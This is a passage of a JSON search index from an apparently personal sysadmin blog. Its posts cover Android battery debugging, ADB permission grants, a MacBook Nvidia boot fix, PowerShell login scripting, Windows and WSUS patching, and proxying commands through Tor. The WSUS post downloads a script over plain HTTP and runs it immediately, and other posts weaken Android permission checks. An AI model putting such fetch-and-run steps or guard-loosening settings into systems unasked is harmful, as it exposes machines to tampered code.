:)\n","permalink":"https://blog.wapnet.nl/2023/02/debug-and-fix-android-battery-drain-system_server/","summary":"\u003cp\u003eI previously write an article about a logd battery drain: \u003ca href=\"/2021/11/android-logd-battery-drain/\"\u003e/2021/11/android-logd-battery-drain/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eBut you can also have an system_server battery drain. With some easy debug steps you can find the root cause of this drain.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFirst install ADB\u003c/li\u003e\n\u003cli\u003ePut your phone in development mode\u003c/li\u003e\n\u003cli\u003eStart \u0026ldquo;adb shell\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eStart \u0026ldquo;top\u0026rdquo;\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIf you have an high system_server CPU than check the PID.\u003c/p\u003e\n\u003cp\u003eNote: In my screenshot it is already fixed. But this was 30~35% CPU\u003c/p\u003e","title":"Debug and Fix Android battery drain (system_server)"},{"content":"I\u0026rsquo;ll was getting this issue when I try to install BetterBatteryStats on my Oneplus device.\nThere are 3 things to do if you want to fix this:\nEnable Developer mode Disable Permission Monitoring (dutch: Machtigingscontrole uitschakelen). You can find this setting in the debugger options somewhere near the bottom. You need to force quit the batteryBatteryStats app (or reboot the phone) Then you can set the permissions:\nadb -d shell pm grant com.asksven.betterbatterystats android.permission.BATTERY_STATS adb -d shell pm grant com.asksven.betterbatterystats android.permission.DUMP adb -d shell pm grant com.asksven.betterbatterystats android.permission.PACKAGE_USAGE_STATS adb -d shell settings put global hidden_api_policy 1 ","permalink":"https://blog.wapnet.nl/2023/02/grantruntimepermission-neither-user-2000-nor-current-process-has-android-permission-grant_runtime_permissions/","summary":"\u003cp\u003eI\u0026rsquo;ll was getting this issue when I try to install BetterBatteryStats on my Oneplus device.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2023/02/image.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThere are 3 things to do if you want to fix this:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eEnable Developer mode\u003c/li\u003e\n\u003cli\u003eDisable Permission Monitoring (dutch: \u003cem\u003eMachtigingscontrole uitschakelen\u003c/em\u003e). You can find this setting in the debugger options somewhere near the bottom.\u003c/li\u003e\n\u003cli\u003eYou need to force quit the batteryBatteryStats app (or reboot the phone)\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThen you can set the permissions:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eadb -d shell pm grant com.asksven.betterbatterystats android.permission.BATTERY_STATS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eadb -d shell pm grant com.asksven.betterbatterystats android.permission.DUMP\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eadb -d shell pm grant com.asksven.betterbatterystats android.permission.PACKAGE_USAGE_STATS\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eadb -d shell settings put global hidden_api_policy 1\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"grantRuntimePermission: Neither user 2000 nor current process has android.permission.GRANT_RUNTIME_PERMISSIONS"},{"content":"All the credits are for Andreas @ https://askubuntu.com/questions/264247/proprietary-nvidia-drivers-with-efi-on-mac-to-prevent-overheating/613573#613573\nNvidia is always a pain in the ass on Linux. Especially with a old white 2010 macbook. I have black screen issues every time so I create this article so I can easy find it when I reinstall this laptop ;-)\nFirst find the right identifiers.\nWe need both the IDs for the graphics card and the PCI-E bridge that it is connected to. Issue the following command in a shell:\n~$ sudo lshw -businfo -class bridge -class display pci@0000:00:00.0 bridge MCP89 HOST Bridge pci@0000:00:03.0 bridge MCP89 LPC Bridge pci@0000:00:0e.0 bridge NVIDIA Corporation pci@0000:00:15.0 bridge NVIDIA Corporation pci@0000:00:16.0 bridge NVIDIA Corporation pci@0000:00:17.0 \u0026gt;!!\u0026lt; bridge MCP89 PCI Express Bridge pci@0000:04:00.0 \u0026gt;!!\u0026lt; display MCP89 GeForce 320M Have a look at (1) the line saying display and (2) the line with bridge right before that display line. Write down the PCI-E bus ids (format XX:YY.Z) of the bridge device (here 00:17.0) and the display device (here 04:00.0) and remember which is which. Note: Those IDs may be different on your machine, depending on your Mac model and revision.\nCreate a GRUB script for setting the PCI-E registers during boot\nFire up a text editor with sudo nano /etc/grub.d/01_enable_vga.conf and copy/paste the content below. Make sure to paste all 4 lines into that file! Replace 00:17.0 with the PCI-E ID of your bridge device noted in step 1. Replace 04:00.0 with the PCI-E ID of your display device noted in step 1.\ncat \u0026lt;\u0026lt; EOF setpci -s \u0026#34;00:17.0\u0026#34; 3e.b=8 setpci -s \u0026#34;04:00.0\u0026#34; 04.b=7 EOF Finally, make the created file executable and update your grub config files using the following TWO commands.\n~$ sudo chmod 755 /etc/grub.d/01_enable_vga.conf ~$ sudo update-grub Install Nvidia drivers and enjoy!\n","permalink":"https://blog.wapnet.nl/2022/11/old-2010-macbook-nvidia-ubuntu-black-screen-fix/","summary":"\u003cp\u003eAll the credits are for Andreas @ \u003ca href=\"https://askubuntu.com/questions/264247/proprietary-nvidia-drivers-with-efi-on-mac-to-prevent-overheating/613573#613573\"\u003ehttps://askubuntu.com/questions/264247/proprietary-nvidia-drivers-with-efi-on-mac-to-prevent-overheating/613573#613573\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eNvidia is always a pain in the ass on Linux. Especially with a old white 2010 macbook. I have black screen issues every time so I create this article so I can easy find it when I reinstall this laptop ;-)\u003c/p\u003e\n\u003cp\u003eFirst find the right identifiers.\u003c/p\u003e\n\u003cp\u003eWe need both the IDs for the graphics card and the PCI-E bridge that it is connected to. Issue the following command in a shell:\u003c/p\u003e","title":"Old 2010 Macbook Nvidia Ubuntu black screen fix"},{"content":"To automate some tasks with PowerShell on a website you sometimes need to log in. Today I tried some curl and postman tricks but it isn’t hard if you know what to script with PowerShell and bypass all other tools.\nFirst, find a website to log in to, then check the page source and what the submit button does. In this example, it is “Inloggen” (dutch for login).\nThen start the developer tools (F12), select the network tab, enter the credentials and login.\nNow check the POST request in the developer tools.\nThe important things on this login form are:\nGebruikersnaam (username) Wachtwoord (password) __RequestVerificationToken Now we can write a simple script\n$LoginUri = \u0026#34;https://example.website.nl/versie6-0-0/mijnscore/Login\u0026#34; $BackendUri = \u0026#34;https://example.website.nl/mijnzwemscore/inhaalles.asp\u0026#34; # ========================================== $LoginResponse = Invoke-WebRequest -Uri $LoginUri -SessionVariable \u0026#34;Session\u0026#34; $LoginBody = @{ __RequestVerificationToken = $LoginResponse.InputFields[1].value Gebruikersnaam = \u0026#34;EnterUsername\u0026#34; Wachtwoord = \u0026#34;EnterPassword\u0026#34; Submit = \u0026#34;Inloggen\u0026#34; } $LoginResponse = Invoke-WebRequest -Uri $LoginUri -WebSession $Session -Body $LoginBody -Method \u0026#34;POST\u0026#34; Invoke-WebRequest -Uri $BackendUri -WebSession $Session Explanation of the script:\nOpen the website and find out what the __RequestVerificationToken must be Create a body with the credentials, the login form submit and the __RequestVerificationToken Do the actual login and save the web session (cookies and stuff). Now we can use the previous web session to check all the backend stuff Edit: 10-5-2024 In the comments I get 2 questions from Laerte Junior:\nHow do I get the $LoginUri How do I get the $BackendUri Let start with the first one. In this example I use Firefox and the zwemscore example\nPress F12 (Developers Options)\nNow Login to the website and check the POST URL (right click copy)\nand you get the $LoginUri\nWhen you do an successful login you can see all the backend URI\u0026rsquo;s. In my case was \u0026ldquo;Les Inhalen\u0026rdquo; the one I want to scrape the data from. So I click \u0026ldquo;Les Inhalen\u0026rdquo;\nAnd I get the $BackendUri\nNow run the first 3 lines from the script in PowerShell\n$LoginUri = \u0026#34;https://thelocalgym.zwemscore.nl/versie6-0-0/mijnscore/Login\u0026#34; $BackendUri = \u0026#34;https://thelocalgym.zwemscore.nl/mijnzwemscore/inhaalles.asp\u0026#34; $LoginResponse = Invoke-WebRequest -Uri $LoginUri -SessionVariable \u0026#34;Session\u0026#34; And check the $LoginResponse.Inputfields\nIn our case we need:\n__RequestVerificationToken Gebruikersnaam (username) Wachtwoord (Password) Because we know the username and password the only dynamic thing is __RequestVerificationToken\nSo we can use 2 different ways to get the data.\nThe Dynamic way: ($LoginResponse.InputFields | Where-Object {$_.name -like \u0026quot;__RequestVerificationToken\u0026quot;}).value\n-OR-\nThe Array way (quick \u0026rsquo;n dirty): $LoginResponse.InputFields[6].value\nQuick \u0026rsquo;n dirty\n$LoginUri = \u0026#34;https://thelocalgym.zwemscore.nl/versie6-0-0/mijnscore/Login\u0026#34; $BackendUri = \u0026#34;https://thelocalgym.zwemscore.nl/mijnzwemscore/inhaalles.asp\u0026#34; # ========================================== $LoginResponse = Invoke-WebRequest -Uri $LoginUri -SessionVariable \u0026#34;Session\u0026#34; $LoginBody = @{ __RequestVerificationToken = $LoginResponse.InputFields[6].value Gebruikersnaam = \u0026#34;ExampleUser\u0026#34; Wachtwoord = \u0026#34;ExamplePass\u0026#34; Submit = \u0026#34;Inloggen\u0026#34; } $LoginResponse = Invoke-WebRequest -Uri $LoginUri -WebSession $Session -Body $LoginBody -Method \u0026#34;POST\u0026#34; $response = Invoke-WebRequest -Uri $BackendUri -WebSession $Session $response.RawContent Dynamic way (better)\n$LoginUri = \u0026#34;https://thelocalgym.zwemscore.nl/versie6-0-0/mijnscore/Login\u0026#34; $BackendUri = \u0026#34;https://thelocalgym.zwemscore.nl/mijnzwemscore/inhaalles.asp\u0026#34; # ========================================== $LoginResponse = Invoke-WebRequest -Uri $LoginUri -SessionVariable \u0026#34;Session\u0026#34; $RequestToken = ($LoginResponse.InputFields | Where-Object {$_.name -like \u0026#34;__RequestVerificationToken\u0026#34;}).value $LoginBody = @{ __RequestVerificationToken = $RequestToken Gebruikersnaam = \u0026#34;ExampleUser\u0026#34; Wachtwoord = \u0026#34;ExamplePass\u0026#34; Submit = \u0026#34;Inloggen\u0026#34; } $LoginResponse = Invoke-WebRequest -Uri $LoginUri -WebSession $Session -Body $LoginBody -Method \u0026#34;POST\u0026#34; $response = Invoke-WebRequest -Uri $BackendUri -WebSession $Session $response.RawContent Happy login :)\n","permalink":"https://blog.wapnet.nl/2022/10/use-powershell-invoke-webrequest-to-login-on-a-website/","summary":"\u003cp\u003eTo automate some tasks with PowerShell on a website you sometimes need to log in. Today I tried some curl and postman tricks but it isn’t hard if you know what to script with PowerShell and bypass all other tools.\u003c/p\u003e\n\u003cp\u003eFirst, find a website to log in to, then check the page source and what the submit button does. In this example, it is “Inloggen” (dutch for login).\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2022/10/image-2.png\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eThen start the developer tools (F12), select the network tab, enter the credentials and login.\u003c/p\u003e","title":"Use PowerShell Invoke-WebRequest to login on a website"},{"content":"This is for 2016 server. But it will work for other versions of Windows\n[Net.ServicePointManager]::SecurityProtocol += [Net.SecurityProtocolType]::Tls12 Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force Set-PSRepository -Name \u0026#34;PSGallery\u0026#34; -InstallationPolicy Trusted Install-Module PSWindowsUpdate -Confirm:$false Set-PSRepository -Name \u0026#34;PSGallery\u0026#34; -InstallationPolicy Untrusted Get-WindowsUpdate -AcceptAll -Install -AutoReboot Happy Patching :)\n","permalink":"https://blog.wapnet.nl/2022/09/update-windows-server-with-powershell/","summary":"\u003cp\u003eThis is for 2016 server. But it will work for other versions of Windows\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[Net.ServicePointManager]::SecurityProtocol += [Net.SecurityProtocolType]::Tls12\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInstall-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSet-PSRepository -Name \u0026#34;PSGallery\u0026#34; -InstallationPolicy Trusted\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInstall-Module PSWindowsUpdate -Confirm:$false\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSet-PSRepository -Name \u0026#34;PSGallery\u0026#34; -InstallationPolicy Untrusted\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGet-WindowsUpdate -AcceptAll -Install -AutoReboot\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHappy Patching :)\u003c/p\u003e","title":"Update Windows Server with powershell"},{"content":"There is an easy way to use the The Onion Router for any command under linux\nFirst install TOR and proxychains4\n$ sudo apt install tor proxychains4 You can configure proxychains.conf but the default config is good :)\n$ sudo nano /etc/proxychains.conf Then start the tor service\n$ sudo systemctl start tor And check your ip:\n$ proxychains4 curl ifconfig.me You can use any command you want. So if you want your firefox browser over tor:\n$ proxychains4 firefox To refresh your TOR IP simply restart the TOR service\nHappy proxying :)\n","permalink":"https://blog.wapnet.nl/2022/09/use-tor-proxy-with-any-linux-command/","summary":"\u003cp\u003eThere is an easy way to use the The Onion Router for any command under linux\u003c/p\u003e\n\u003cp\u003eFirst install TOR and proxychains4\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ sudo apt install tor proxychains4\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eYou can configure proxychains.conf but the default config is good :)\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ sudo nano /etc/proxychains.conf\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThen start the tor service\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ sudo systemctl start tor\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eAnd check your ip:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ proxychains4 curl ifconfig.me\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eYou can use any command you want. So if you want your firefox browser over tor:\u003c/p\u003e","title":"Use TOR proxy with any linux command"},{"content":"My use case for a customer was to configure WSUS for a couple of DMZ servers. The DMZ servers are not domain-joined. So I create a PowerShell script to configure the registry so I can easily deploy the settings to the servers.\nYou can use this script also for non domain-joined servers\n# Script for WSUS configuration on non-domain joined servers # First stop the Windows service Get-Service -name wuauserv | stop-service # Variables $registryPath = \u0026#34;HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\u0026#34; $name1 = \u0026#34;TargetGroup\u0026#34; $value1 = \u0026#34;Production\u0026#34; $name2 = \u0026#34;WUServer\u0026#34; $value2 = \u0026#34;http://wsus.domain.local:8530\u0026#34; $name3 = \u0026#34;WUStatusServer\u0026#34; $value3 = \u0026#34;http://wsus.domain.local:8530\u0026#34; $name4 = \u0026#34;DoNotConnectToWindowsUpdateInternetLocations\u0026#34; $value4 = \u0026#34;1\u0026#34; $name5 = \u0026#34;TargetGroupEnabled\u0026#34; $value5 = \u0026#34;1\u0026#34; $registryPathAU = \u0026#34;HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\u0026#34; $nameAU1 = \u0026#34;AUOptions\u0026#34; $valueAU1 = \u0026#34;3\u0026#34; $nameAU2 = \u0026#34;UseWUServer\u0026#34; $valueAU2 = \u0026#34;1\u0026#34; # Inject registry IF(!(Test-Path $registryPath)) { New-Item -Path $registryPath -Force | Out-Null New-ItemProperty -Path $registryPath -Name $name1 -Value $value1 -Force | Out-Null New-ItemProperty -Path $registryPath -Name $name2 -Value $value2 -Force | Out-Null New-ItemProperty -Path $registryPath -Name $name3 -Value $value3 -Force | Out-Null New-ItemProperty -Path $registryPath -Name $name4 -Value $value4 -PropertyType DWORD -Force | Out-Null New-ItemProperty -Path $registryPath -Name $name5 -Value $value5 -PropertyType DWORD -Force | Out-Null } ELSE { New-ItemProperty -Path $registryPath -Name $name1 -Value $value1 -Force | Out-Null New-ItemProperty -Path $registryPath -Name $name2 -Value $value2 -Force | Out-Null New-ItemProperty -Path $registryPath -Name $name3 -Value $value3 -Force | Out-Null New-ItemProperty -Path $registryPath -Name $name4 -Value $value4 -PropertyType DWORD -Force | Out-Null New-ItemProperty -Path $registryPath -Name $name5 -Value $value5 -PropertyType DWORD -Force | Out-Null } IF(!(Test-Path $registryPathAU)) { New-Item -Path $registryPathAU -Force | Out-Null New-ItemProperty -Path $registryPathAU -Name $nameAU1 -Value $valueAU1 -PropertyType DWORD -Force | Out-Null New-ItemProperty -Path $registryPathAU -Name $nameAU2 -Value $valueAU2 -PropertyType DWORD -Force | Out-Null } ELSE { New-ItemProperty -Path $registryPathAU -Name $nameAU1 -Value $valueAU1 -PropertyType DWORD -Force | Out-Null New-ItemProperty -Path $registryPathAU -Name $nameAU2 -Value $valueAU2 -PropertyType DWORD -Force | Out-Null } # Start the Windows service Get-Service -name wuauserv | start-service # Find updates and report to the WSUS server $updateSession = new-object -com \u0026#34;Microsoft.Update.Session\u0026#34;; $updates=$updateSession.CreateupdateSearcher().Search($criteria).Updates Start-sleep -seconds 10 wuauclt /detectnow wuauclt /reportnow c:\\windows\\system32\\UsoClient.exe startscan I save this file on the WSUS server itself at http://wsus.domain.local:8530/script.txt so I can download and run it from the DMZ environment.\ninvoke-webrequest -uri http://wsus.domain.local:8530/script.txt -outfile script.ps1 .\\script.ps1 Happy updating :)\n","permalink":"https://blog.wapnet.nl/2022/05/configure-wsus-client-with-powershell-and-regedit/","summary":"\u003cp\u003eMy use case for a customer was to configure WSUS for a couple of DMZ servers. The DMZ servers are not domain-joined. So I create a PowerShell script to configure the registry so I can easily deploy the settings to the servers.\u003c/p\u003e\n\u003cp\u003eYou can use this script also for non domain-joined servers\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Script for WSUS configuration on non-domain joined servers\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# First stop the Windows service\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGet-Service -name wuauserv | stop-service\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Variables\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$registryPath = \u0026#34;HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$name1 = \u0026#34;TargetGroup\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$value1 = \u0026#34;Production\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$name2 = \u0026#34;WUServer\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$value2 = \u0026#34;http://wsus.domain.local:8530\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$name3 = \u0026#34;WUStatusServer\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$value3 = \u0026#34;http://wsus.domain.local:8530\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$name4 = \u0026#34;DoNotConnectToWindowsUpdateInternetLocations\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$value4 = \u0026#34;1\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$name5 = \u0026#34;TargetGroupEnabled\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$value5 = \u0026#34;1\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$registryPathAU = \u0026#34;HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$nameAU1 = \u0026#34;AUOptions\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$valueAU1 = \u0026#34;3\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$nameAU2 = \u0026#34;UseWUServer\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$valueAU2 = \u0026#34;1\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Inject registry\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIF(!(Test-Path $registryPath))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-Item -Path $registryPath -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPath -Name $name1 -Value $value1 -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPath -Name $name2 -Value $value2 -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPath -Name $name3 -Value $value3 -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPath -Name $name4 -Value $value4 -PropertyType DWORD -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPath -Name $name5 -Value $value5 -PropertyType DWORD -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eELSE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPath -Name $name1 -Value $value1 -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPath -Name $name2 -Value $value2 -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPath -Name $name3 -Value $value3 -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPath -Name $name4 -Value $value4 -PropertyType DWORD -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPath -Name $name5 -Value $value5 -PropertyType DWORD -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIF(!(Test-Path $registryPathAU))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-Item -Path $registryPathAU -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPathAU -Name $nameAU1 -Value $valueAU1 -PropertyType DWORD -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPathAU -Name $nameAU2 -Value $valueAU2 -PropertyType DWORD -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eELSE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPathAU -Name $nameAU1 -Value $valueAU1 -PropertyType DWORD -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    New-ItemProperty -Path $registryPathAU -Name $nameAU2 -Value $valueAU2 -PropertyType DWORD -Force | Out-Null\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Start the Windows service\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eGet-Service -name wuauserv | start-service\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Find updates and report to the WSUS server\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$updateSession = new-object -com \u0026#34;Microsoft.Update.Session\u0026#34;; $updates=$updateSession.CreateupdateSearcher().Search($criteria).Updates\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eStart-sleep -seconds 10\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewuauclt /detectnow\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewuauclt /reportnow\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ec:\\windows\\system32\\UsoClient.exe 